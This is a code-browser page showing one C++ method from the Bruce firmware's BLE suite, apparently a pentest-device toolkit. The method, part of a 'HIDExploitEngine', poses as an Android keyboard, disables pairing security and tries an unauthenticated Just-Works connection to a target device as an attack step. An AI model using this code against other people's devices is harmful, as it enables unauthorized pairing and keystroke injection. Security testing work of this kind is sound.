MCPcopy Create free account
hub / github.com/BruceDevices/firmware / tryAndroidJustWorks

Method tryAndroidJustWorks

src/modules/ble/BLE_Suite.cpp:547–579  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

545}
546
547bool HIDExploitEngine::tryAndroidJustWorks(NimBLEAddress target, HIDDeviceProfile profile) {
548 AutoCleanup cleanup([]() { BLEStateManager::deinitBLE(true); });
549
550 showAttackProgress("Testing Android Just-Works pairing...", TFT_CYAN);
551
552 BLEStateManager::deinitBLE();
553 delay(300);
554 BLEStateManager::initBLE("Android Keyboard");
555 NimBLEDevice::setSecurityAuth(false, false, false);
556 NimBLEDevice::setPower(ESP_PWR_LVL_P9);
557
558 NimBLEClient *pClient = NimBLEDevice::createClient();
559 if (!pClient) return false;
560
561 BLEStateManager::registerClient(pClient);
562
563 pClient->setConnectTimeout(8);
564 pClient->setConnectionParams(12, 12, 0, 400);
565 bool connected = pClient->connect(target, true);
566
567 if (connected) {
568 showAttackProgress("Android Just-Works worked!", TFT_GREEN);
569 pClient->disconnect();
570 BLEStateManager::unregisterClient(pClient);
571 NimBLEDevice::deleteClient(pClient);
572 cleanup.disable();
573 return true;
574 }
575
576 BLEStateManager::unregisterClient(pClient);
577 NimBLEDevice::deleteClient(pClient);
578 return false;
579}
580
581bool HIDExploitEngine::tryBootProtocolInjection(NimBLEAddress target, HIDDeviceProfile profile) {
582 AutoCleanup cleanup([]() { BLEStateManager::deinitBLE(true); });

Callers 1

showHIDSubMenuFunction · 0.80

Calls 3

showAttackProgressFunction · 0.85
disableMethod · 0.80
connectMethod · 0.45

Tested by

no test coverage detected